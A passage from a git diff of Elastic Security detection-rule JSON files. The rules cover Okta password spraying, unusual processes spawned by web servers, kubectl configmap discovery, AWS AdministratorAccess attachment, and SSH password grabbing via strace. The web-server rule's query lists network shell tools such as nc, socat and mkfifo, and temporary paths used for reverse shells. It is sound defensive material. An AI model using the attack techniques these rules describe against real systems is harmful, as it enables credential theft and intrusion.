temporarily.\n - Reset passwords and reset MFA for the user.\n- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule.\n - This will prevent future occurrences of this event for this device from triggering the rule.\n - Alternatively adding `okta.client.ip` or a CIDR range to the `exceptions` list can prevent future occurrences of this event from triggering the rule.\n - This should be done with caution as it may prevent legitimate alerts from being generated.\n", + "query": "from logs-okta*\n| where\n event.dataset == \"okta.system\" and\n (event.action == \"user.session.start\" or event.action like \"user.authentication.*\") and\n okta.outcome.reason == \"INVALID_CREDENTIALS\"\n| keep\n okta.client.ip,\n okta.actor.alternate_id,\n okta.actor.id,\n event.action,\n okta.outcome.reason\n| stats\n Esql.okta_actor_id_count_distinct = count_distinct(okta.actor.id)\n by\n okta.client.ip,\n okta.actor.alternate_id\n| where\n Esql.okta_actor_id_count_distinct > 5\n| sort\n Esql.okta_actor_id_count_distinct desc\n", + "references": [ + "https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy", + "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection", + "https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/", + "https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security", + "https://www.elastic.co/security-labs/starter-guide-to-understanding-okta" + ], + "related_integrations": [ + { + "package": "okta", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.okta_actor_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "okta.actor.alternate_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "okta.client.ip", + "type": "ip" + } + ], + "risk_score": 21, + "rule_id": "94e734c0-2cda-11ef-84e1-f661ea17fbce", + "setup": "The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "low", + "tags": [ + "Use Case: Identity and Access Audit", + "Data Source: Okta", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.003", + "name": "Password Spraying", + "reference": "https://attack.mitre.org/techniques/T1110/003/" + } + ] + }, + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.004", + "name": "Credential Stuffing", + "reference": "https://attack.mitre.org/techniques/T1110/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 208 + }, + "id": "94e734c0-2cda-11ef-84e1-f661ea17fbce_208", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/95b99adc-2cda-11ef-84e1-f661ea17fbce_208.json b/packages/security_detection_engine/kibana/security_rule/95b99adc-2cda-11ef-84e1-f661ea17fbce_208.json new file mode 100644 index 00000000000..59ebb3897c7 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/95b99adc-2cda-11ef-84e1-f661ea17fbce_208.json @@ -0,0 +1,101 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts.", + "false_positives": [ + "Users may share an endpoint related to work or personal use in which separate Okta accounts are used.", + "Shared systems such as Kiosks and conference room computers may be used by multiple users." + ], + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Multiple Okta User Authentication Events with Same Device Token Hash", + "note": "## Triage and analysis\n\n### Investigating Multiple Okta User Authentication Events with Same Device Token Hash\n\nThis rule detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. Note that Okta does not log unrecognized usernames supplied during authentication attempts, so this rule may not detect all credential stuffing attempts or may indicate a targeted attack.\n\n#### Possible investigation steps:\n- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.debug_context.debug_data.dt_hash` values can be used to pivot into the raw authentication events related to this activity.\n- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields.\n- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields.\n- Review the `okta.security_context.is_proxy` field to determine if the device is a proxy.\n - If the device is a proxy, this may indicate that a user is using a proxy to access multiple accounts for password spraying.\n- With the list of `okta.actor.alternate_id` values, review `event.outcome` results to determine if the authentication was successful.\n - If the authentication was successful for any user, pivoting to `event.action` values for those users may provide additional context.\n- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field.\n - Historical analysis should indicate if this device token hash is commonly associated with the user.\n- Review the `okta.event_type` field to determine the type of authentication event that occurred.\n - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons.\n - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying.\n- Examine the `okta.outcome.result` field to determine if the authentication was successful.\n- Review the past activities of the actor(s) involved in this action by checking their previous actions.\n- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity.\n - This may help determine the authentication and authorization actions that occurred between the user, Okta and application.\n\n### False positive analysis:\n- A user may have legitimately started a session via a proxy for security or privacy reasons.\n- Users may share an endpoint related to work or personal use in which separate Okta accounts are used.\n - Architecturally, this shared endpoint may leverage a proxy for security or privacy reasons.\n - Shared systems such as Kiosks and conference room computers may be used by multiple users.\n - Shared working spaces may have a single endpoint that is used by multiple users.\n\n### Response and remediation:\n- Review the profile of the users involved in this action to determine if proxy usage may be expected.\n- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required.\n- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA).\n - If MFA is already enabled, consider resetting MFA for the users.\n- If any of the users are not legitimate, consider deactivating the user's account.\n- Conduct a review of Okta policies and ensure they are in accordance with security best practices.\n- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user.\n - If so, confirm with the user this was a legitimate request.\n - If so and this was not a legitimate request, consider deactivating the user's account temporarily.\n - Reset passwords and reset MFA for the user.\n- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule.\n - This will prevent future occurrences of this event for this device from triggering the rule.\n", + "query": "from logs-okta*\n| where\n event.dataset == \"okta.system\" and\n (event.action like \"user.authentication.*\" or event.action == \"user.session.start\") and\n okta.debug_context.debug_data.dt_hash != \"-\" and\n okta.outcome.reason == \"INVALID_CREDENTIALS\"\n| keep\n event.action,\n okta.debug_context.debug_data.dt_hash,\n okta.actor.id,\n okta.actor.alternate_id,\n okta.outcome.reason\n| stats\n Esql.okta_actor_id_count_distinct = count_distinct(okta.actor.id)\n by\n okta.debug_context.debug_data.dt_hash,\n okta.actor.alternate_id\n| where\n Esql.okta_actor_id_count_distinct > 20\n| sort\n Esql.okta_actor_id_count_distinct desc\n", + "references": [ + "https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy", + "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection", + "https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/", + "https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security", + "https://www.elastic.co/security-labs/starter-guide-to-understanding-okta" + ], + "related_integrations": [ + { + "package": "okta", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.okta_actor_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "okta.actor.alternate_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "okta.debug_context.debug_data.dt_hash", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "95b99adc-2cda-11ef-84e1-f661ea17fbce", + "setup": "The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "low", + "tags": [ + "Use Case: Identity and Access Audit", + "Data Source: Okta", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.003", + "name": "Password Spraying", + "reference": "https://attack.mitre.org/techniques/T1110/003/" + } + ] + }, + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.004", + "name": "Credential Stuffing", + "reference": "https://attack.mitre.org/techniques/T1110/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 208 + }, + "id": "95b99adc-2cda-11ef-84e1-f661ea17fbce_208", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/976b2391-413f-4a94-acb4-7911f3803346_7.json b/packages/security_detection_engine/kibana/security_rule/976b2391-413f-4a94-acb4-7911f3803346_7.json new file mode 100644 index 00000000000..66834743de9 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/976b2391-413f-4a94-acb4-7911f3803346_7.json @@ -0,0 +1,138 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects unusual processes spawned from a web server parent process by identifying low frequency counts of process spawning activity. Unusual process spawning activity may indicate an attacker attempting to establish persistence, execute malicious commands, or establish command and control channels on the host system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", + "from": "now-61m", + "interval": "1h", + "language": "esql", + "license": "Elastic License v2", + "name": "Unusual Process Spawned from Web Server Parent", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual Process Spawned from Web Server Parent\n\nWeb servers like Apache, Nginx, and others are crucial for hosting applications and services. Adversaries exploit these servers by spawning unauthorized processes to maintain persistence or execute malicious commands. The detection rule identifies anomalies by monitoring low-frequency process spawns from web server parents, focusing on unusual user IDs, directories, and process counts, which may indicate potential threats.\n\n### Possible investigation steps\n\n- Review the process.executable and process.command_line fields to understand the nature of the process that was spawned and assess if it aligns with expected behavior for the web server environment.\n- Examine the process.working_directory to determine if the directory is a legitimate location for web server operations or if it appears suspicious, such as being outside typical web server directories.\n- Check the user.name and user.id fields to verify if the process was executed by a legitimate web server user or if it was initiated by an unexpected or unauthorized user account.\n- Investigate the process.parent.executable to confirm whether the parent process is a known and trusted web server executable or if it has been tampered with or replaced.\n- Correlate the event with other logs or alerts from the same agent.id to identify any additional suspicious activities or patterns that may indicate a broader compromise.\n- Assess the host.os.type to ensure the alert pertains to a Linux system, as specified in the query, and verify if there are any known vulnerabilities or misconfigurations on the host that could have been exploited.\n\n### False positive analysis\n\n- Processes related to legitimate web server maintenance tasks may trigger alerts. Review scheduled tasks or cron jobs that align with the alert timing and consider excluding these specific processes if they are verified as non-threatening.\n- Development environments often spawn processes that mimic attack patterns. Identify and exclude processes originating from known development directories or executed by development user accounts.\n- Automated scripts or monitoring tools running under web server user accounts can be mistaken for malicious activity. Verify these scripts and add exceptions for their specific process names or working directories.\n- Frequent updates or deployments in web applications can lead to unusual process spawns. Document these activities and exclude related processes if they consistently match the alert criteria during known update windows.\n- Custom web server modules or plugins may execute processes that appear suspicious. Validate these modules and exclude their associated processes if they are part of normal operations.\n\n### Response and remediation\n\n- Immediately isolate the affected host from the network to prevent further malicious activity and potential lateral movement.\n- Terminate any suspicious processes identified by the alert that are not part of legitimate web server operations.\n- Conduct a thorough review of the process command lines and executables flagged by the alert to identify any malicious scripts or binaries. Remove or quarantine these files as necessary.\n- Check for unauthorized changes in web server configurations or files within the working directories flagged by the alert. Restore any altered files from a known good backup.\n- Review user accounts and permissions associated with the web server processes to ensure no unauthorized accounts or privilege escalations have occurred. Reset passwords and revoke unnecessary access.\n- Monitor network traffic from the affected host for any signs of command and control communication, and block any identified malicious IP addresses or domains.\n- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised.\n", + "query": "from logs-endpoint.events.process-*\n| keep\n @timestamp,\n host.os.type,\n event.type,\n event.action,\n process.parent.name,\n user.name,\n user.id,\n process.working_directory,\n process.name,\n process.executable,\n process.command_line,\n process.parent.executable,\n agent.id,\n host.name\n| where\n @timestamp > now() - 1 hours and\n host.os.type == \"linux\" and\n event.type == \"start\" and\n event.action == \"exec\" and (\n (\n process.parent.name in (\n \"apache\", \"nginx\", \"apache2\", \"httpd\", \"lighttpd\", \"caddy\", \"node\", \"mongrel_rails\", \"java\", \"gunicorn\",\n \"uwsgi\", \"openresty\", \"cherokee\", \"h2o\", \"resin\", \"puma\", \"unicorn\", \"traefik\", \"tornado\", \"hypercorn\",\n \"daphne\", \"twistd\", \"yaws\", \"webfsd\", \"httpd.worker\", \"flask\", \"rails\", \"mongrel\"\n ) or\n user.name in (\n \"apache\", \"www-data\", \"httpd\", \"nginx\", \"lighttpd\", \"tomcat\", \"tomcat8\", \"tomcat9\", \"ftp\", \"ftpuser\", \"ftpd\"\n ) or\n user.id in (\"99\", \"33\", \"498\", \"48\") or\n process.working_directory like \"/var/www/*\"\n ) or\n (\n (\n process.parent.name like \"php-*\" or\n process.parent.name like \"python*\" or\n process.parent.name like \"ruby*\" or\n process.parent.name like \"perl*\"\n ) and (\n process.working_directory like \"/var/www/*\" or\n process.working_directory like \"/srv/www/*\" or\n process.working_directory like \"/usr/share/nginx/*\"\n )\n )\n ) and (\n process.name in (\n \"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\", \"socat\", \"openssl\", \"busybox\",\n \"nc\", \"ncat\", \"netcat\", \"nc.openbsd\", \"nc.traditional\", \"nohup\", \"setsid\", \"mkfifo\", \"mknod\",\n \"node\", \"socket\"\n ) or\n process.name like \"python*\" or\n process.name like \"php*\" or\n process.name like \"perl\" or\n process.name like \"ruby*\" or\n process.name like \"lua*\" or\n process.executable like \"/tmp/*\" or\n process.executable like \"/var/tmp/*\" or\n process.executable like \"/dev/shm/*\" or\n process.executable like \"/var/log/*\" or\n process.executable like \"/sys/*\" or\n process.executable like \"/media/*\" or\n process.executable like \"/proc/*\" or\n process.executable like \"/var/backups/*\" or\n process.executable like \"/var/mail/*\" or\n process.executable like \"/var/spool/*\" or\n process.executable like \"/var/www/*\" or\n process.executable like \"./*\" or\n process.name like \".*\"\n ) and \n not (\n process.working_directory like \"/home/*\" or\n process.working_directory == \"/\" or\n process.working_directory like \"/var/www/*.ch\" or\n process.parent.executable like \"/vscode/vscode-server/*\"\n )\n| stats\n Esql.event_count = count(),\n Esql.agent_id_count_distinct = count_distinct(agent.id),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id)\n by process.executable, process.working_directory, process.parent.executable\n| where\n Esql.agent_id_count_distinct == 1 and\n Esql.event_count < 5\n| sort Esql.event_count asc\n| limit 100\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.working_directory", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "976b2391-413f-4a94-acb4-7911f3803346", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Tactic: Execution", + "Tactic: Command and Control", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1505", + "name": "Server Software Component", + "reference": "https://attack.mitre.org/techniques/T1505/", + "subtechnique": [ + { + "id": "T1505.003", + "name": "Web Shell", + "reference": "https://attack.mitre.org/techniques/T1505/003/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1071", + "name": "Application Layer Protocol", + "reference": "https://attack.mitre.org/techniques/T1071/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 7 + }, + "id": "976b2391-413f-4a94-acb4-7911f3803346_7", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/98ac2919-f8b3-4d2d-b85b-e1c13ac0c68b_2.json b/packages/security_detection_engine/kibana/security_rule/98ac2919-f8b3-4d2d-b85b-e1c13ac0c68b_2.json new file mode 100644 index 00000000000..7c61af2a4dd --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/98ac2919-f8b3-4d2d-b85b-e1c13ac0c68b_2.json @@ -0,0 +1,101 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "building_block_type": "default", + "description": "This rule detects the execution of kubectl commands that are commonly used for configuration discovery in Kubernetes environments. It looks for process events where kubectl is executed with arguments that query configuration information, such as configmaps. In environments where kubectl is not expected to be used, this could indicate potential reconnaissance activity by an adversary.", + "from": "now-119m", + "index": [ + "logs-endpoint.events.*", + "endgame-*", + "auditbeat-*", + "logs-auditd_manager.auditd-*", + "logs-crowdstrike.fdr*" + ], + "interval": "60m", + "language": "eql", + "license": "Elastic License v2", + "name": "Kubectl Configuration Discovery", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and\nevent.action in (\"exec\", \"exec_event\", \"executed\", \"process_started\", \"ProcessRollup2\") and\nprocess.name == \"kubectl\" and process.args in (\"get\", \"describe\") and process.args in (\"configmap\", \"configmaps\")\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "auditd_manager", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "98ac2919-f8b3-4d2d-b85b-e1c13ac0c68b", + "severity": "low", + "tags": [ + "Domain: Container", + "Domain: Endpoint", + "Domain: Kubernetes", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Rule Type: BBR", + "Data Source: Elastic Defend", + "Data Source: Elastic Endgame", + "Data Source: Auditd Manager", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1613", + "name": "Container and Resource Discovery", + "reference": "https://attack.mitre.org/techniques/T1613/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 2 + }, + "id": "98ac2919-f8b3-4d2d-b85b-e1c13ac0c68b_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/9aa4be8d-5828-417d-9f54-7cd304571b24_5.json b/packages/security_detection_engine/kibana/security_rule/9aa4be8d-5828-417d-9f54-7cd304571b24_5.json deleted file mode 100644 index 2252a1de147..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/9aa4be8d-5828-417d-9f54-7cd304571b24_5.json +++ /dev/null @@ -1,102 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised user accounts. This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the highly permissive `AdministratorAccess` AWS managed policy to an existing IAM user.", - "false_positives": [ - "While this can be normal behavior, it should be investigated to ensure validity. Verify whether the user identity should be using the IAM `AttachUserPolicy` API operation to attach the `AdministratorAccess` policy to the target user." - ], - "from": "now-6m", - "investigation_fields": { - "field_names": [ - "@timestamp", - "user.name", - "source.address", - "aws.cloudtrail.user_identity.arn", - "user_agent.original", - "target.userName", - "event.action", - "policyName", - "event.outcome", - "cloud.region", - "event.provider", - "aws.cloudtrail.request_parameters" - ] - }, - "language": "esql", - "license": "Elastic License v2", - "name": "AWS IAM AdministratorAccess Policy Attached to User", - "note": "## Triage and analysis\n\n### Investigating AWS IAM AdministratorAccess Policy Attached to User\n\nThe AWS IAM `AdministratorAccess` managed policy provides full access to all AWS services and resources.\nWith access to the `iam:AttachUserPolicy` permission, a set of compromised credentials could be used to attach\nthis policy to the current user for privilege escalation or another user as a means of persistence. This rule uses [ES|QL](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-esql-rule)\nto look for use of the `AttachUserPolicy` operation along with request_parameters where the policyName is `AdministratorAccess`.\n\n\n#### Possible investigation steps\n\n- Identify the account and its role in the environment.\n- Review IAM permission policies for the user identity.\n- Identify the applications or users that should use this account.\n- Investigate other alerts associated with the account during the past 48 hours.\n- Investigate abnormal values in the `user_agent.original` field by comparing them with the intended and authorized usage and historical data. Suspicious user agent values include non-SDK, AWS CLI, custom user agents, etc.\n- Contact the account owner and confirm whether they are aware of this activity.\n- Considering the source IP address and geolocation of the user who issued the command:\n - Do they look normal for the calling user?\n - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control?\n - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.\n - Determine what other API calls were made by the user.\n - Assess whether this behavior is prevalent in the environment by looking for similar occurrences involving other users.\n\n### False positive analysis\n\n- False positives may occur due to the intended usage of the IAM `AdministratorAccess` managed policy. Verify the `aws.cloudtrail.user_identity.arn` should have the `iam:AttachUserPolicy` permission and that the `target.userName` should be given full administrative access.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n - Rotate user credentials\n - Remove the `AdministratorAccess` policy from the affected user(s)\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Assess the criticality of affected services and servers.\n - Work with your IT team to identify and minimize the impact on users.\n - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified.\n - Rotate secrets or delete API keys as needed to revoke the attacker's access to the environment.\n - Work with your IT teams to minimize the impact on business operations during these actions.\n- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users.\n- Consider enabling multi-factor authentication for users.\n- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.\n- Implement security best practices [outlined](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/) by AWS.\n- Take the actions needed to return affected systems, data, or services to their normal operational levels.\n- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws.cloudtrail-* metadata _id, _version, _index\n| where event.provider == \"iam.amazonaws.com\" and event.action == \"AttachUserPolicy\" and event.outcome == \"success\"\n| dissect aws.cloudtrail.request_parameters \"{%{?policyArn}=%{?arn}:%{?aws}:%{?iam}::%{?aws}:%{?policy}/%{policyName},%{?userName}=%{target.userName}}\"\n| where policyName == \"AdministratorAccess\"\n| keep\n @timestamp,\n cloud.region,\n event.provider,\n event.action,\n event.outcome,\n policyName,\n target.userName,\n aws.cloudtrail.request_parameters,\n aws.cloudtrail.user_identity.arn,\n related.user,\n user_agent.original,\n user.name,\n source.address\n", - "references": [ - "https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachUserPolicy.html", - "https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html", - "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/" - ], - "risk_score": 47, - "rule_id": "9aa4be8d-5828-417d-9f54-7cd304571b24", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS IAM", - "Use Case: Identity and Access Audit", - "Tactic: Privilege Escalation", - "Tactic: Persistence", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1098", - "name": "Account Manipulation", - "reference": "https://attack.mitre.org/techniques/T1098/", - "subtechnique": [ - { - "id": "T1098.003", - "name": "Additional Cloud Roles", - "reference": "https://attack.mitre.org/techniques/T1098/003/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1098", - "name": "Account Manipulation", - "reference": "https://attack.mitre.org/techniques/T1098/", - "subtechnique": [ - { - "id": "T1098.003", - "name": "Additional Cloud Roles", - "reference": "https://attack.mitre.org/techniques/T1098/003/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 5 - }, - "id": "9aa4be8d-5828-417d-9f54-7cd304571b24_5", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/9eaa3fb1-3f70-48ed-bb0e-d7ae4d3c8f28_1.json b/packages/security_detection_engine/kibana/security_rule/9eaa3fb1-3f70-48ed-bb0e-d7ae4d3c8f28_1.json new file mode 100644 index 00000000000..e94e613369e --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/9eaa3fb1-3f70-48ed-bb0e-d7ae4d3c8f28_1.json @@ -0,0 +1,101 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential SSH Password Grabbing via strace", + "query": "sequence by host.id with maxspan=3s\n [process where host.os.type == \"linux\" and event.type == \"end\" and process.name == \"sshd\"]\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and process.name == \"strace\"]\n", + "references": [ + "https://github.com/braindead-sec/ssh-grabber", + "https://dfir.ch/posts/strace/" + ], + "related_integrations": [ + { + "package": "endpoint", + 